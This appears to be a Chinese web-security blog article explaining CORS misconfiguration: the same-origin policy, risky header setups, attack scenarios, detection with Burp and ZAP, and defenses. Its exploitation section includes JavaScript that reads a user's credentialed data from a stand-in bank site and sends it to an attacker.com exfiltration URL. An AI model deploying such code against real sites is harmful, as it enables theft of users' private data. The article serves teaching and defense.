点我

CORS

image-20250210125033472

跨源资源共享(CORS,Cross-Origin Resource Sharing)是一种基于 HTTP 头的安全机制,用于控制浏览器在不同源(Origin)之间共享资源的权限。

CORS 漏洞通常源于服务器配置不当,导致攻击者能够绕过同源策略(SOP),窃取用户敏感数据或执行未授权操作。

一、技术背景

同源策略(SOP)

同源策略是浏览器的核心安全机制,限制不同源的脚本访问彼此的资源。

同源定义为协议、域名、端口完全一致。例如:

  • https://example.comhttps://api.example.com 不同源(域名不同)
  • http://example.com:80http://example.com:8080 不同源(端口不同)

CORS 的作用

CORS 允许服务器声明哪些外部源可以访问其资源,通过 HTTP 响应头实现:

  • Access-Control-Allow-Origin(ACAO):指定允许访问的源(如 https://trusted.com 或通配符 *)。
  • Access-Control-Allow-Methods(ACAM):允许的 HTTP 方法(如 GET, POST)。
  • Access-Control-Allow-Headers(ACAH):允许的请求头(如 Authorization)。
  • Access-Control-Allow-Credentials(ACAC):是否允许携带凭证(如 Cookie)。

CORS 请求类型

  • 简单请求(Simple Request):
    使用 GETHEADPOST 方法,且请求头仅包含 AcceptAccept-LanguageContent-LanguageContent-Type(仅限 application/x-www-form-urlencodedmultipart/form-datatext/plain)。
  • 预检请求(Preflight Request):
    非简单请求(如 PUTDELETE 或自定义头)会先发送 OPTIONS 请求,验证服务器是否允许实际请求。

二、漏洞成因与攻击场景

漏洞根源

CORS 漏洞的核心是服务器错误配置,导致攻击者能够:

  • 通过恶意网站发起跨域请求并读取响应。
  • 结合用户凭证(如 Cookie)执行特权操作。

高风险配置示例

  • ACAO 设置为通配符 * 且允许凭证

    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true

    此配置矛盾(浏览器会拒绝),但若服务器仅设置 Access-Control-Allow-Origin: *,攻击者仍可在无凭证时读取响应。

  • 动态反射 Origin 头
    服务器未严格验证 Origin 头,直接将其值复制到 ACAO 响应头中,例如:

    # 请求头
    Origin: https://evil.com
    
    # 响应头
    Access-Control-Allow-Origin: https://evil.com
    Access-Control-Allow-Credentials: true

    攻击者可构造任意 Origin 来窃取数据。

  • 宽松的正则匹配
    服务器使用不严谨的正则表达式验证 Origin,如允许 example.com.attacker.comexample-com.attacker.com

攻击场景

  • 窃取用户数据
    用户登录目标站点(如 https://bank.com)后,访问恶意网站。攻击者通过跨域请求读取 bank.com 的私有数据(如账户信息)。
  • CSRF 增强利用
    结合 CORS 与 CSRF,绕过 SOP 限制,直接读取请求响应内容(传统 CSRF 仅能触发操作但无法获取结果)。
  • 内部网络探测
    利用浏览器发起跨域请求到内网服务(如路由器管理界面),结合响应头或错误信息探测内网拓扑。

三、利用手法

基础利用(反射 Origin)

若服务器动态反射 Origin 头并允许凭证:

// 恶意网站 https://evil.com 的代码
fetch('https://bank.com/api/user', {
  credentials: 'include' // 携带用户 Cookie
})
.then(response => response.text())
.then(data => {
  // 将窃取的数据发送到攻击者服务器
  fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));
});

绕过 Origin 验证

  • 子域名劫持
    bank.com 允许 *.bank.com,攻击者可注册 evil.bank.com 发起请求。
  • 域名混淆
    利用 Unicode 字符或特殊符号构造相似域名(如 bánk.com)绕过正则检查。

预检请求绕过

若服务器对 OPTIONS 请求的响应过于宽松:

// 发送恶意 PUT 请求
fetch('https://bank.com/delete-account', {
  method: 'PUT',
  headers: {
    'Content-Type': 'application/json',
    'X-Malicious-Header': 'true'
  },
  body: JSON.stringify({ userId: '123' }),
  credentials: 'include'
});

若服务器响应包含 Access-Control-Allow-Origin: https://evil.com 且未限制方法或头信息,攻击将成功。

四、CORS 漏洞检测

手动检测

  • 修改 Origin 头
    使用 Burp Suite 或浏览器开发者工具,将请求的 Origin 改为非预期值(如 https://attacker.com),观察响应头是否反射该值。
  • 测试通配符与凭证兼容性
    检查 Access-Control-Allow-Origin: * 是否与 Access-Control-Allow-Credentials: true 同时存在(浏览器会阻止此类配置)。

自动化工具

  • Burp Suite
    使用 Scanner 模块或扩展(如 CORS Scanner)探测错误配置。
  • OWASP ZAP
    通过主动扫描识别不安全的 CORS 策略。
  • 浏览器控制台
    直接发起跨域请求,观察控制台错误信息或网络响应。

盲检测技巧

若响应不可见,可通过以下方式间接验证:

  • 触发错误事件

    fetch('https://target.com', { credentials: 'include' })
      .catch(error => {
        // 根据错误类型推断 CORS 配置
      });
  • 定时检测
    测量请求耗时,预检请求失败时可能更快返回错误。

五、防护措施

严格限制 Origin

  • 静态白名单
    配置固定的允许源列表(如 https://trusted.com),避免动态反射 Origin
  • 强正则验证
    若需动态验证,使用严格正则表达式(如 ^https://(www\.)?example\.com$),防止子域名或相似域名绕过。

最小化权限

  • 避免通配符 \*
    除非资源完全公开(如图片、字体),否则不使用 Access-Control-Allow-Origin: *
  • 限制方法与头信息
    按需设置 Access-Control-Allow-MethodsAccess-Control-Allow-Headers,避免允许 PUTDELETE 或自定义头。

凭证控制

  • 禁用不必要的凭证
    除非必需,不设置 Access-Control-Allow-Credentials: true
  • 通配符与凭证互斥
    若使用 Access-Control-Allow-Credentials: true,必须明确指定 Access-Control-Allow-Origin 为具体源。

服务器端加固

  • 预检请求缓存
    通过 Access-Control-Max-Age 减少 OPTIONS 请求次数,但避免过长缓存时间。
  • 独立认证机制
    使用 Token 而非 Cookie 进行跨域认证,降低凭证泄露风险。

安全编码示例

正确配置的 HTTP 头示例

Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

六、真实案例

  • Uber(2017)
    CORS 配置错误导致攻击者可窃取用户 API Token。
  • Zoom(2020)
    错误允许任意 Origin 的预检请求,泄露用户会议信息。
  • 某金融平台(2021)
    动态反射 Origin 头,导致攻击者通过恶意子域名读取用户交易记录
分类: WEB安全

评论

-- 评论已关闭 --

目录